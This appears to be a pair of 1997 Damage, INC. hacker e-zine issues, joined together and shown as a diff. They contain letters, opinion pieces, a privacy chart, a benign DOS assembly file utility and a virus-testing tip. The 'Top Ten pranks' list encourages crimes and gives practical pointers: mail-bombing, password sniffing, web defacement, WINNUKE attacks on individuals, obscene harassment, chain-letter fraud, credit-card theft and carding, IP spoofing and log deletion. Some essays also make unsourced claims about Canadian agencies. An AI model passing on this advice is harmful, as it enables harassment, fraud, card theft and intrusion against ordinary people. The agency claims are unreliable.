+could get my hands on something that puts it all in perspective.
+
+No prompt reply necessary, but if you could assist me in any way, I'd
+appreciate it. Also, while I've thought about it, If you know of any books in
+the library (I live in Guelph) that could help put this in perspective, or
+even how to learn programming (borland, c++, etc..) I would appreciate a few
+references. Thanx,
+
+ Army Boy, alias Sir_Autechre.
+
+P.s. I must say again that the damage newsletter 002 was Excellent! Right on,
+keep it coming!
+------------------------------------------------------------------------------
+
+Editor - I'm thankful that you wrote that message man since I enjoy receiving
+ feedback. We're all glad that you enjoyed the last issue of the
+ Damage, INC. Newsletter. Also, everyone was a newbie at one time or
+ another, but that doesn't mean we think you're scum man. ;) We can
+ only judge you upon how you act, your attitude and willingness to
+ learn about h/p. You've already taken the first step towards learning
+ more...and thus far you seem to be respectful and eager to learn more.
+
+ Read the H/P Information and News section. I've included a list of
+ necessary files to download and read. They'll assist you in learning
+ the basics of h/p, unix etc. You should also get a copy of ToneLoc,
+ Turbo Assembler and the other programs and utilities that I listed.
+ As for information on boxes, there is a vast amount available on AJFA
+ and FoI. If you are serious about wanting to learn how to program in
+ assembly, contact me via Email. I don't program in C++ though, so
+ I cannot refer you to any good books for that language. Thanks again
+ for the feedback and compliments. ;)
+
+
+OBJECTIVE OPINIONS - {OPINIONS}
+The Media - Mistakes or Misinformation?
+
+The media is a sickness. They are quick to spread misinformation to the
+masses (of zombies)... and they know that it'll be believed by them without
+question. Every once in a while, they make a major mistake and have to
+retract their comments. In a feeble attempt to take back their words, they
+print a very small article on page 38 (just as an example), and admit that
+what they previously wrote was incorrect. However, by that time the damage
+has already been done by the media... and innocent people's lives have been
+permanently affected. Thus far, it might sound like I'm being overly harsh
+and not objective with my opinion on the media. Perhaps you're thinking or
+assuming that I have nothing to base my statements on. If that's the case,
+you are mistaken. There are plenty of incidents in the media that I'm using
+to base my opinion on... as proof to show you that they "aren't always right".
+The media jumps to conclusions, wrongly accuses innocent people, makes huge
+assumptions and prints stories (including rumours) submitted by unreliable
+sources. Plus, they never want to reveal their sources to anyone... even
+after the information has been proven to be false.
+
+Take the Richard Jewel story as one example of the mass media destroying
+someone's reputation and life. His very name will forever be associated
+with the "Olympic Park Bombing"... even though he's an innocent man. People
+still believe that he's guilty. He's been confronted in public places,
+heckled, threatened etc. Who's at fault? The media. Why should the media
+be held responsible for what has happened to Richard Jewel? A small newspaper
+in Atlanta wrote a story, naming him as the prime suspect for the Olympic Park
+bombing (right after he'd been called a hero by the press for trying to clear
+people away from the sound stage tower). Then, the mass media jumped on the
+story... and thus a "media frenzy" was created. Almost instantly, it was a
+national story on TV, the radio and in every major newspaper. Suddenly, the
+name Richard Jewel was a household name... and people were calling him an
+evil man, a sick terrorist etc. Obviously, the zombies (citizens that believe
+whatever the media tells them) couldn't talk enough about the story. They
+were fascinated by it. Yet, did any of them even consider for a second that
+he *might* be innocent and wrongly accused? Did they go by the facts and
+evidence or rumours and speculation? Basically, they just condemned him before
+he was even formally charged with committing any crime. Is that justice? I
+think not. Was it a mistake by the media? Again, I think not.
+
+The mass media spreads misinformation on a daily basis. Sure, that's a bold
+statement to make... but it is true. They don't always check the facts first
+before printing an article on someone and making false accusations against them.
+Just as, the media enjoys stories that get people talking and last for long
+periods of time. There have been several public court cases in recent years
+that I could draw upon as examples, but I'm sure you know what the "big, fat,
+juicy, money making stories" were. I'll just use one example, the infamous
+Unabomber case. Afterall, it's still making the headlines and the press hasn't
+quite lost interest in it... yet. As a result of the media coverage, I don't
+think Theodore Kazinski will be granted a fair trial. If you disagree and
+honestly believe he will have a fair trial by untainted jurors that have no
+bias against him... then perhaps you should consider the influence that the
+media has upon the average citizen. Almost everyone has been exposed to and
+assaulted by the media barrage of coverage on the Unabomber. Sure, they try
+to use words like "suspected Unabomber" etc. when speaking about Kazinski...
+but in reality aren't they trying him in the press before he receives a trial
+in court? Is it innocent until proven guilty or guilty until proven innocent?
+That is something that you'll have to decide for yourselves. What about the
+headlines that declared the Unabomber was caught and arrested after an
+exhaustive 17 year FBI man hunt? Was that just a mistake? Or was that the
+media trying to mislead people with misinformation again?
+
+In summary, the media should answer to someone. They aren't "all knowing" and
+"all powerful". They sure love to write stories and profit but don't enjoy
+answering any questions. Also, the media was hesitant to print the Unabomber's
+Manifesto...yet they were quick to take credit when Kazinski was arrested. In
+fact, they were even patting themselves on the back and claimed the arrest was a
+direct result of publishing the Unabomber's words. Meanwhile, many people on
+this earth have a similar writing style, vocabulary etc. Only now are they
+starting to reveal some of the actual evidence that was found in Kazinski's
+Montana cabin. I urge people not to judge someone before they have been
+convicted. Don't base your opinions solely on media propaganda you've read,
+seen or heard. Make a conscious effort to become informed. Question what you
+are told to believe. Use your own mind to think, instead of allowing the
+media to think for you.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1997.
+
+
+REPORTS FROM THE FRONT - {REPORTS}
+Privacy Policy Chart - Online Service Providers
+
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+commercial online service providers. We arrived at these results by
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+
+Information Principle Commercial Online Service
+ AOL CIS M$Net Prodigy
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+ information practices? (Notice)
+
+Subscription Data
+
+2. Does the service tell you how it Yes Yes Yes Yes
+ intends to use subscription data?
+ (Informed)
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+ subscription data for purposes
+ unrelated to billing and system
+ administration? (Consent for
+ Secondary Use)
+4. Does the service disclose subscription Yes Yes Yes No
+ data to third parties, such as direct
+ marketers and content providers?
+5. Can you limit the disclosure of
+ subscription data for purposes unrelated Yes Yes Yes n/a
+ to billing and system administration?
+ (Consent for Secondary Use)
+
+Personally Identifiable Transactional Data
+
+6. Does the service tell you what, if any, Yes No Yes Yes
+ personally identifiable transactional
+ data -- information about your online
+ activities -- they are gathering and
+ what they use it for? (Informed)
+
+Fair Information Principle Commercial Online Service
+ AOL CIS M$Net Prodigy
+
+7. Does the service allow you to limit No No No No
+ the collection of personally
+ identifiable transactional data?
+ (Limitation on collection)
+8. Can you limit the internal use of
+ personally identifiable
+ transactional data unrelated to billing No Yes Yes Yes
+ and systems administration?
+ (Consent for Secondary Use)
+9. Can you limit the disclosure of Yes Yes Yes n/a
+ personally identifiable transactional
+ data?
+10. Does the service limit how information NP NP NP No
+ that identifies you is used by others --
+ such as payment facilitators and content
+ providers?
+11. Can you see the subscription Yes Yes Yes Yes
+ information the service maintains
+ about you? (Access)
+12. Can you correct and update subscription Yes Yes Yes Yes
+ information? (Correction)
+13. Can you see the personally identifiable NP No Yes NP
+ transactional information the service
+ maintains about you? (Access)
+14. Can you correct and update personally NP No Yes NP
+ identifiable transactional
+ information? (Correction)
+
+Fair Information Principle Commercial Online Service
+ AOL CIS M$Net Prodigy
+
+15. Is your name and email address No No NP No
+ automatically made available in a
+ directory to other subscribers?
+16. Does the service monitor public Yes NP Yes Yes
+ chatrooms?
+17. Does the service monitor instant No NP NP No
+ messages?
+18. Does the service monitor bulletin Yes NP Yes Yes
+ boards?
+19. Does the service monitor kids areas? NP NP NP NP
+20. Can you have more than one online Yes Yes No NP
+ identity?
+21. Does the service retain the contents Yes NP Yes No
+ of your email once you've downloaded
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+22. Does the service retain the contents Yes NP No No
+ of your email once you've deleted it?
+23. Does the service retain the header of Yes NP Yes No
+ your email once you've downloaded it?
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+ your email once you've deleted it?
+25. Does the service provide you with any NP NP NP NP
+ remedy if they don't follow their rules?
+26. Do they have security practices to Yes NP Yes Yes
+ safeguard your information? (Security)
+
+Law Enforcement Access to:
+
+ Law enforcement access to the contents of your communications
+ and personally identifiable transactional data held by
+ commercial online service companies is governed by federal law.
+ All the commercial online service providers comply with the
+ law.
+
+Contents of your communications
+
+ The Electronic Communications Privacy Act (ECPA) governs law
+ enforcement access to the contents of your communications. The
+ law was updated in 1986 to cover electronic communications
+ including email and computer-to-computer communications. Law
+ enforcement must get a warrant in order to access the contents
+ of your message. Whether law enforcement can get access to the
+ contents of your email is largely dependent on the email
+ retention policy of your service provider. For example, if the
+ policy of your service is to only retain the email header once
+ you've read your email, then law enforcement will not have
+ access to read the contents of your email.
+
+Personally Identifiable Transactional Data
+
+ The Communications Assistance for Law Enforcement Act of 1994
+ (commonly known as the Digital Telephony Act) amended ECPA,
+ increasing the privacy protection for online transactional
+ information. The law now includes a heightened standard for law
+ enforcement access to transactional data generated by
+ electronic communications services. Instead of a mere subpoena,
+ law enforcement officials must obtain a court order based on
+ "specific and articulable facts" that such records are
+ "relevant and material to an ongoing criminal investigation"
+ (sec 207 (a)(2)).
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+Subscription Information
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+ Under the Communications Assistance for Law Enforcement Act of
+ 1994 (commonly known as the Digital Telephony Act), access to
+ subscription information requires an administrative subpoena.
+ This is a less privacy-protective standard than the standards
+ governing law enforcement access to the contents of your
+ communication or personally indentifiable transactional
+ information.
+
+For more information, write webmaster@cdt.org
+
+
+SOURCE AND SCRIPTS - {SOURCE}
+
+
+;File Creator Utility v1.00 (C)opyright by Damage, INC. and Kronik
+;TASM /M filename.asm then TLINK /T filename.obj to assemble using
+;Turbo Assembler v3.1 for DOS. FCU.COM should be 350 bytes. This
+;utility just creates a 64000 byte DAMAGE.INC file from memory.
+;It loops ten times to increase the total size to 640000 bytes.
+
+
+.model tiny ;Small and efficient ;)
+code segment
+ assume cs:code, ss:code, ds:code, es:code
+
+ org 100h ;All COM files start here
+
+start:
+ mov ah, 9 ;Print string function
+ mov dx, offset menu ;pointer to menu
+ int 21h ;call DOS to display it
+ mov ah, 0
+ int 16h ;get input from the user
+ mov dl, al
+ mov ah, 2 ;display the character pressed
+ int 21h
+ cmp al,63h ;"c"
+ je short make_file ;Yes, create file
+ cmp al,43h ;"C"
+ je short make_file ;Yes, create file
+ jmp short exit ;No, so exit to DOS
+
+make_file:
+ mov ah, 5Bh ;create a file
+ mov dx, offset file_name ;pointer to file name
+ xor cx, cx ;zero cx
+ int 21h ;call DOS to do it
+ xchg bx, ax ;move filehandle to bx
+ mov cx,10 ;# times to loop
+
+fill_file:
+ push cx ;push cx to stack
+ mov ah, 40h ;write to file
+ mov cx, 64000 ;# of bytes to write
+ mov dx, offset junk_stuff ;pointer to var with junk
+ int 21h ;call DOS to do it
+ pop cx ;get cx from stack
+ loop fill_file ;loop 10 times
+ jmp short close_file ;Finished
+
+close_file:
+ mov ah, 3Eh ;close file
+ int 21h ;call DOS to do it
+ mov ah, 9 ;Print string function
+ mov dx, offset done ;pointer to done
+ int 21h ;call DOS to display it
+
+exit:
+ mov ax,4c00h ;terminate process
+ int 21h ;Exit to DOS
+
+
+;DATA storage area
+
+menu db 13, 10, '[0;1;30mFile Creator Utility v1.00[0m',13,10
+ db '[0;1;30m(C)opyright 1997 [0m'
+ db '[0;1;30mby Damage, INC. and Kronik[0m',13,10,13,10
+ db ' [0;1m[C]reate a DAMAGE.INC file[0m',13,10
+ db ' [0;1m[Q]uit to DOS[0m',13,10
+ db ' [0;1;34mCommand: [0m$',13,10
+
+done db '',13,10
+ db 13,10, '[0;1;30mFinished...[0m',13,10,'$'
+
+file_name db 'damage.inc', 0 ;name of the file to be created
+
+junk_stuff db 1 dup('Damage, INC.') ;data buffer
+
+code ends
+ end start
+
+
+THE JOURNALIST'S TOP TEN LIST - {TOP TEN}
+"Top Ten pranks on the Internet:"
+
+ 0. E-Mail Bombing. This is a fun one to pull if some asshole on IRC
+ or USENET is pissing you off. Basically you get hold of either
+ a win95 app, or some source code that is designed to "mail-bomb"
+ an address. What it will do is send up to 100,000 e-mails to
+ your target, and the victim will have to go through and delete each
+ one ;) One glitch i have heard of is if you do this to a gov't site
+ they have "email bouncers" setup, so that every email you send to
+ that address is sent back to you. If this was the case, you would
+ essentially be e-bombing yourself! ;)
+
+ 1. Sniffer Programs. For this you need to have access to a shell
+ account on your local ISP. MGL, Hookup, Sentex all provide shell
+ access. Golden Triangle does not however. If you happen to have
+ shell, you can run something called a "sniffer program." What this
+ does is reside in memory, and captures all logins and passwords.
+ It is really that easy! Once you have these, you can use any account
+ you wish. You can hack, email-bomb from that account, *without
+ getting charged any hourly rates*. Sniffer Programs can be found on
+ Freedom of Information Archives.
+
+ 2. Webpage Hacking. This is a lot quicker if you have obtained accounts
+ using the above method. Essentially you have to obtain root on the
+ system that the webpage resides on. Then you can modify homepages
+ to make them fucked up. Fatal Vision told me the "Hackers" movie
+ webpage was hacked, and changed to be hilarious. There are many
+ ways to obtain root on the remote system, so I will not go into the
+ methods. To find the homepage, use cd /home/"name"/public_html or
+ something similar. It will be a directory residing in the user's
+ home directory.. (type home to see where that is).
+
+ 3. Socket Killing. Hehehaha.. this is probably the most fun.
+ If there's a user on the net that is giving you lip, and
+ intentionally pissing you off, with a program called WINNUKE, you
+ can kick them off the net! It is a win95 Util that takes advantage
+ of one of the many glitches in the PPP code of win95. The util
+ sends a continual denial-of-service message to the victim, and win95
+ crashes horribly at this. Not only will you be killing his internet
+ connection, but crashing his win95 every time. This is much more
+ effective if you write a script that executes WINNUKE everytime
+ the d00d logs in to his ISP. He will think it is something wrong
+ with his computer/modem/software, and it will cause him/her a *lot*
+ of hassle. ;)
+
+ 4. IRC Bots. I'm sure a lot of people know what these are, but they
+ are always a good prank, provided you can find an IRC server that
+ will allow you to run them. The amount of pranks you can pull with
+ BOTS is amazing! You can control a dedicated channel and only let
+ in certain people. Or you can wreak havoc on other channels by
+ automating a script, making it resident, and then logging out. The
+ BOT keeps running even if you're not logged on, and only stops if
+ another BOT is clever enough to boot it, or if the sysAdmn sees it
+ and decides to remove it. These are just brief explanations, and
+ would have to be read-up on before trying! ;)
+
+ 5. Porno E-mailing. This one is not quite as well known, but I think
+ is the ultimate prank. Your mark has to be a reserved, dignified
+ arsehole. You may want to use a fake return address for this,
+ (or a hacked account) but go on the net and find the raunchiest XXX
+ pics you can find (disgusting looking old women etc.), and e-mail them
+ to your victim. I'm pretty sure you can email a .JPG and it will
+ come up on his screen. I would love to see his face if he had people
+ looking at his screen when he happened to read his email.
+ You could also leave captions such as "The night you were conceived"
+ and other friendly comments like that.. haha
+
+ 6. AOL Pranks. These major services, mainly AOL are largely responsible
+ for the sorry state of the internet today. Their mass-marketing
+ served only to lower the quality of the newsgroups, and increase
+ the profits of AOL. These assholes need to be avenged.
+ There is a program on h/p boards (refer to EOF) called AOLHELL.
+ I won't even go into what one can do with this, except to say that
+ it is worth checking out. I'm not sure if AOL has combatted the
+ methods used by AOLHELL, but I'm sure there are still some holes in
+ their interface.
+
+ 7. Chain Letters. Everyone's seen these, all over USENET, all the
+ time. You can't read 10 message without one of them being a "get
+ rich quick" scheme. I was always very pissed off at this, and then
+ I figured a way to get revenge. (And possibly some cash).
+ Get the addresses of the people in the letter. You know they are
+ susceptible to the idea of fast-money. This is their downfall,
+ and your advantage. Email each one of the people, telling them
+ of some lottery they've won, or of some "super-chain-letter" that
+ promises 10 times the amount of the one they were on. You have
+ to catch their eye, and entice their interest. Make up shit, make
+ up phoney documents, claiming to be a legitimate fund-raising co.
+ What I would do is setup a Mail Box at somewhere like Shopper's
+ Drug Mart, and tell the people to send money to it. You never know
+ if it will work until you try it boys and girls...
+
+ 8. Carding is making a comeback due to the anonymity guaranteed by
+ the internet. With a hacked account, you are omnipotent, untouchable
+ and you can use this to make money. (or get stuff). If you know
+ how to get credit card #'s then you can skip this, but if not, there
+ are a few ways to quickly get somebody else's info. (exp. date, and
+ card #). The first is to go "trashing." go through the garbage of
+ some retail outlets that might leave papers in there with interesting
+ info on them. Alternatively, if you are clever with hacking, you
+ could scan all packets leaving and entering a site that is commonly
+ used for purchasing things. If they have online VISA charging, I am
+ guessing you could watch what information goes into and out of the
+ server. The web page cannot decrypt the CC# before it gets there,
+ so there is a time lag where there are millions of Credit-Card #'s
+ floating around in cyberspace. The other way to get Credit Card #'s
+ is to simply steal them if you work at a place where people pay with
+ credit card. Its a lot easier if you haven't seen the face of the
+ person whose card it is you're using though.
+ Once you have the necessary info, you can pretty much
+ order anything you want. Software, Porno Passwords, etc. Don't
+ get *anything* mailed to your house. But software can usually be
+ emailed to your box, so no-one has a chance of knowing who did it.
+
+ 9. I.P. Spoofing. This is an advanced topic, so I will make it
+ simple. One, you have to have a shell account to do this. Two
+ you must have a basic knowledge of how Unix/TCP_IP works.
+ This is a method of hacking to obtain root access on a remote
+ server. There are many reasons why you might want to do this, most
+ of the common ones are covered in this list however.
+ You need to d/l source code for an IP Spoofing program - yes the
+ hard work has already been done for you. Run the code from your
+ shell, and wait until you get access. I would recommend going
+ through and deleting any logs that might incriminate you.
+
+Written by The Journalist - Damage, INC. (C)opyright 1997.
+
+
+CLOSING COMMENTS - {CLOSING}
+BLACKENED's Disturbing Closing Comments:
+
+I'm disappointed with the lack of feedback and letters to the editor. We were
+expecting more readers to send us quality, insightful comments and suggestions.
+At this point, I would be actually grateful to receive hate mail to publish
+and reply to. The Damage, INC. Newsletter has generated some interest in h/p
+in 519... but hasn't had the type of impact that we'd hoped. The main problem
+lies in the people that are "involved" in the local h/p scene. (and I'm being
+generous by using the word involved). I realize there aren't many people in
+this area with a tremendous amount of h/p experience and knowledge. I've even
+publicly stated that we have nothing against newbies, and are willing to help
+those with a legitimate desire to start learning, experimenting and putting
+the information that they've given into practice by becoming active in the h/p
+scene... and trying to do a few things. Thus, the majority of this issue was
+dedicated to teach newbies and refer them to the essentials for beginners.
+
+Other than that, we cannot do everything for you. It is your responsibility
+to take the initiative, become dedicated and self-taught. That's not only how
+it is, but how it has always been. Reading h/p text files is only a small
+portion of the learning process. It'll only take you so far. If you want to
+limit yourself to that, you won't ever progress and achieve anything. However,
+if you really want to become involved and contribute, let us know.
+
+We are also planning to distribute the Damage, INC. Newsletter to other area
+codes very soon. It's possible that there will be a Damage, INC. Distribution
+Site in British Columbia before January 1998. ;)
+
+We're still looking for Writers, Members and Distribution Sites. If you'd like
+to apply to Damage, INC. and join a respected h/p group, then download a copy of
+the Damage, INC. Application Generator. If you want any of our releases, they
+are currently available on the following boards:
+
+...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only.
+Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t.
+Distraught Continuum - h/p/a/c/v/t, programming, etc.
+
+Any feedback or letters to the editor should be sent to BLACKENED in Email on
+a Damage, INC. board near you.
+
+- EOF
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+ "The name speaks for itself!" ÞÝ
+
+ Presents the
+
+ Damage, INC. Newsletter
+
+ December 1997 Issue #4.
+
+ "We're gonna phreak you out."
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+ C O N T E N T S :
+
+
+þ INTRODUCTION - An Introduction to the Damage, INC. Newsletter.
+
+þ BIG BROTHER BASHING - Statistics Canada and CSIS are listening and watching.
+ ¯ Search String: {BIG BROTHER}
+
+þ BLACKENED'S TIP OF THE MONTH - Virus detection techniques.
+ ¯ Search String: {BLACKENED}
+
+þ CONSPIRACIES AND COVERUPS - Bill C-17: Kiss your rights goodbye.
+ ¯ Search String: {COVERUPS}
+
+þ CORRUPTION AND GREED - Bell preys upon naive customers.
+ ¯ Search String: {GREED}
+
+þ H/P INFORMATION AND NEWS - Information on ANIs and diverters.
+ ¯ Search String: {NEWS}
+
+þ INTERVIEWS AND INTERROGATIONS - Savage Dragon's hilarious message.
+ ¯ Search String: {INTERVIEWS}
+
+þ LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter.
+ ¯ Search String: {LETTERS}
+
+þ OBJECTIVE OPINIONS - Timothy Leary and Drugs.
+ ¯ Search String: {OPINIONS}
+
+þ REPORTS FROM THE FRONT - Cybernauts sing the praises of Bulletin Boards.
+ ¯ Search String: {REPORTS}
+
+þ SOURCE AND SCRIPTS - DAMSMALL virus source code.
+ ¯ Search String: {SOURCE}
+
+þ THE JOURNALIST'S TOP TEN LIST - Not Available in this issue.
+ ¯ Search String: {TOP TEN}
+
+þ THOUGHTS, POEMS AND CREATIVE WRITING - A short poem titled "Awakening".
+ ¯ Search String: {WRITING}
+
+þ CLOSING COMMENTS - BLACKENED's Hostile Closing Comments.
+ ¯ Search String: {CLOSING}
+
+ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+
+
+INTRODUCTION: Phreaking Bell...Phreaking Bell...Phreaking all the way. Oh
+ what fun it is to phreak to a new exchange. Hey. That should
+ get you in the spirit. ;) A special shout goes out to our
+ readers in B.C. We should have a Damage, INC. Dist. Site in
+ your area soon. To the rest of our loyal readers in 519 etc.
+ we haven't forgotten about you. Keep reading, learning and
+ experimenting. Also, I realize there are quite a few newbies
+ that are now reading the Damage, INC. Newsletter. We aren't
+ going to neglect you, so don't worry. To those that do not
+ enjoy reading what we write: phreak you.
+
+
+BIG BROTHER BASHING - {BIG BROTHER}
+Statistics Canada and CSIS are listening and watching:
+
+Statistics Canada (commonly referred to as Stats Canada) and CSIS (which
+stands for Canadian Security Intelligence Service) are listening and watching.
+I'm sure that if CSIS gets a copy of this article, I will be under their
+surveillance. That is, if I'm not already being monitored by them. The main
+purpose for writing about these two government agencies is to reveal what
+they've done, show the power and control they've been given, and expose the
+truth about how they work.
+
+Stats Canada is a very corrupt agency. It is an organization of people that
+is designed to gather information on the citizens of this country. Have you
+ever received a government survey in the mail addressed to you? If not,
+then perhaps you've answered their questions over the phone or in person.
+At any rate, Stats Canada sends out surveys in the mail. They also call
+people "at random" and expect you to answer their questions. The reason I
+put the words at random in quotes is because they actually target certain
+people and repeatedly call them. In fact, if they call and you refuse to
+answer any questions, the Stats Canada representative will become rather
+angry and aggressive. I have personal experience with those bastards and
+know exactly how they behave. First, they said the "survey" was mandatory.
+I told them that I wasn't going to answer any of their questions over the
+phone... and politely stated I don't give personal information out to absolute
+strangers. Then, they replied that they can setup an appointment and ask
+the questions in person. I said I wasn't interested in filling out anything
+or answering any questions. That's when they snapped. The voice of the Stats
+Canada representative became emotional and upset... and she said that I must
+answer her questions. At that point, I was basically sick of talking to them.
+However, I decided to ask what they'd do if I refused to answer any questions.
+She then threatened to imprison me and said that I'm obligated by law to do
+what they ask. Hahaha. I couldn't contain myself and began laughing. Then
+I just made up an excuse about being unavailable. Before I hung up the phone,
+she made another threat about calling back until I complete the survey. That's
+just one example of how Stats Canada treats (or threatens) average citizens.
+
+Why does Stats Canada even exist? The sickening truth is that they exist to
+gather information on us. They even target people and victimize them by
+continually forcing them to answer questions, fill out surveys etc. It should
+be our right not to give out personal information. We should have the option
+to refuse answering their questions. Also, the information and data that they
+gather isn't kept confidential... even though they claim it is. Stats Canada
+has been caught *selling* people's information to private companies that create
+databases. Obviously, that's an illegal act on their part. They intentionally
+violate people's privacy in order to profit. It was reported a few months ago
+that Stats Canada was harassing people in B.C. At least they didn't just take
+it and are trying to fight them. On a side note, Stats Canada also enjoys
+falsifying and manipulating the statistics that they report. As in, the
+percentage of people that are unemployed, inflation, savings, the deficit etc.
+You simply cannot trust any figures that they create.
+
+CSIS is no better though. In many respects, they are even worse than Statistics
+Canada. The Canadian Security Intelligence Service (CSIS) is extremely corrupt
+and untrustworthy. Several months ago, they were caught using illegal phone
+taps on innocent citizen's phone lines. They use unlawful methods to gain
+access to personal information. CSIS is also fond of installing bugs inside of
+residences, without just cause or suspicion. They don't just break and disobey
+the laws, they flaunt it by abusing their power on a regular basis. It would
+be almost impossible to know if they are watching and listening... If that
+isn't Big Brother in action, then the term "Big Brother" is meaningless. I was
+very surprised that the RCMP would reveal the actions of CSIS and expose them,
+since those two organizations usually work closely together. Perhaps there's
+a much larger conspiracy at work.
+
+CSIS is a dangerous, secret agency. In my opinion, their sole purpose is to
+keep an eye on the "dissidents" of this country. They don't seem to be very
+effective at spying and doing intelligence operations in foreign countries,
+thus they concentrate their efforts on us instead. CSIS infiltrated a group
+named the Heritage Front, which is a "white supremacist" organization. In the
+end, the undercover CSIS agent ascended through the ranks and was a leader that
+spoke at meetings. Instead of just gaining information on the Heritage Front,
+he actually helped them grow, become stronger, raise funds and awareness of the
+group. Haha. That's a perfect example of how CSIS attempts to closely watch
+an internal group of individuals, and it backfires when they benefit the group
+that they've targeted. There was even a documentary on TV about the entire
+ordeal. I must admit, it was hilarious to see a Heritage Front member thanking
+CSIS for helping them and saying that they did absolutely no harm. Meanwhile,
+we pay millions of tax dollars to fund CSIS. Why? Well, the only answer is
+so that they can fuck up like in that case and waste our money. Or, so that
+CSIS can bug the houses of every citizen that they deem to be "suspicious".
+
+If you are affiliated with a group that's anti-government, you are instantly on
+their hit list. That is, no evidence is required for them to take actions
+against you. Is that democracy? I think not. CSIS is comparable to the CIA
+in many ways. The only major differences are that they aren't as organized,
+established or powerful. The CIA has tremendous resources and their power is
+far reaching (the entire world), whereas CSIS mainly spies on the people within
+Canada's own borders. That is why they are the epitome of Big Brother. Time
+and time again they've demonstrated their willingness to flagrantly violate the
+laws, rights and invade the privacy of Canadian citizens. That's the reason
+they should be eliminated before their control becomes stronger. The only
+plausible way to do that is by fighting fire with fire. In other words, their
+corrupt and sickening ways can be used against them. I will continue to get
+information on CSIS and write articles in order to expose the truth. CSIS
+actually stands for Cancer Spreading In Secrecy. The key to destroying them is
+information. Instead of fearing CSIS, fight them by being prepared and by
+possessing the knowledge of how they think and act. Kill the cancer.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1997.
+
+
+BLACKENED'S TIP OF THE MONTH - {BLACKENED}
+Virus detection techniques:
+
+There are many people that are paranoid about viruses these days. Therefore,
+they scan their computer systems regularly with virus scanners such as F-PROT,
+McAfee's Scan, TBAV, Norton Anti-Virus etc. in an attempt to feel safe. The
+problem with that is, they are only given a false sense of security. Those
+virus scanners can't detect every virus. Even if you use F-PROT Heuristics
+Scan, you still won't be able to find everything. However, you might encounter
+some false alarms as it wrongly detects files that aren't infected at all.
+F-PROT's secure scan will only detect viruses that were sent to Data Fellows
+to be analyzed. They disassemble it and create a scan string. Then, the
+new version of F-PROT that they release looks for that code in files. It's
+a rather simple method and quite primitive in a way. If you want to continue
+scanning your hard drives, or new files that you download... that's fine. I'm
+not trying to tell anyone not to do that. In my opinion, that isn't the safest
+or most reliable way to detect viruses.
+
+The best method is to use another computer system for virus testing. Using
+an old 286 system with a hard drive is perfect for that task. Then you can
+do whatever testing you want, without worrying about files being infected etc.
+
+Obviously, not everyone has more than one computer available to them. That's
+the reason I decided to write about virus detection techniques for those that
+only have a single computer. First, you need to get a copy of HideDrive by
+Damage, INC. Read the docs carefully before you attempt to use it. Basically,
+HideDrive is a utility that's designed to hide and unhide hard drives. The
+virus detection technique isn't difficult to use. Simply copy the suspicious
+file (or a known virus) to a floppy disk, as well as several COM and EXE files.
+Then use HideDrive to hide every hard drive on the system. Change from drive C:
+to A:. To check and make sure that the drives were properly hidden, try
+changing to them by typing C:. If the DOS error message "Invalid Drive
+Specification" is reported, that means drive C: is hidden. Now execute the
+suspicious or infected file on the floppy.
+
+The other COM and EXE files on the disk will be used for testing purposes. If
+their file size, date or time changes after you try executing the suspicious
+file...that means they've been infected by a virus. The virus might go memory
+resident, so remove the disk and press your Reset button to be safe. You can
+then view the files with a hex editor to check and see if they were overwritten
+or if code was appended by the virus. Simply compare the files with the hex of
+the actual virus.
+
+You can comment out the nuke procedure, assemble the DAMSMALL virus and safely
+use it with the above method for testing. Once you have more experience using
+HideDrive, you can test more complex viruses that go memory resident, use
+stealth routines etc. They won't be able to do normal writes to files that are
+on your hard drives (as long as they've been properly hidden first). ;)
+As an example, if a virus attempted to infect COMMAND.COM (although most don't
+do that for obvious reasons)... you'd probably see a DOS error message that
+says "Invalid drive specification" since drive C: was hidden. That is, the
+virus wouldn't be able to write to C:\COMMAND.COM. It can't infect a file that
+it can't find and write to. ;) Just be careful using this method though.
+HideDrive won't protect your hard drives from trojans that use BIOS writes etc.
+That's the reason this method is only recommended for use with viruses. If you
+have any questions, contact us.
+
+Written by BLACKENED ú Damage, INC. (C)opyright 1997.
+
+
+CONSPIRACIES AND COVERUPS - {COVERUPS}
+Bill C-17: Kiss your rights goodbye.
+
+Disclaimer:
+The sections of Bill C-17 (35th Parliament session) listed below comes from the
+Government of Canada web site. If there is any misinformation, they are
+responsible for it. It took me hours to find confirmation that Bill C-17
+received royal assent, and was enforced by the Department of "Justice" of
+Canada. The Government intentionally makes it difficult to learn about laws.
+"Ignorance of the law" is their greatest weapon.
+
+On April 25, 1997, Bill C-17 received royal assent from the government. Its
+purpose is to amend the Criminal Code, as well as some other acts. Some of
+the notable sections are: Immunity to criminal prosecution if a police officer
+commits a crime while undercover (too many exemptions to list); making occupancy
+in a stolen vehicle a criminal offence (section 15); and punishing those that
+think they committed a criminal act, even if they didn't (section 28).
+
+In this article, it is my intent to show you portions of Bill C-17 relating
+to police searches and seizures. These revisions to the Criminal Code
+formally create loopholes for police officers. I will start by showing you
+section 46:
+
+ 46. The Act is amended by adding the following after
+ section 487.1:
+
+ Where warrant not 487.11 A peace officer, or a public officer who has
+ necessary been appointed or designated to administer or enforce
+ any federal or provincial law and whose duties include
+ the enforcement of this or any other Act of Parliament,
+ may, in the course of his or her duties, exercise any
+ of the powers described in subsection 487(1) or
+ 492.1(1) without a warrant if the conditions for
+ obtaining a warrant exist but by reason of exigent
+ circumstances it would be impracticable to obtain a
+ warrant.
+
+Basically, this gives a police officer an excuse if he decides to search your
+premises without a warrant. Who determines the "exigent circumstances?" The
+police officer of course.
+
+Let's look at section 41, which may be of interest to hackers and phreaks.
+Section 41 deals with search and seizure of computer data.
+
+ 41. Section 487 of the Act is amended by adding the
+ following after subsection (2):
+
+ Operation of (2.1) A person authorized under this section to search
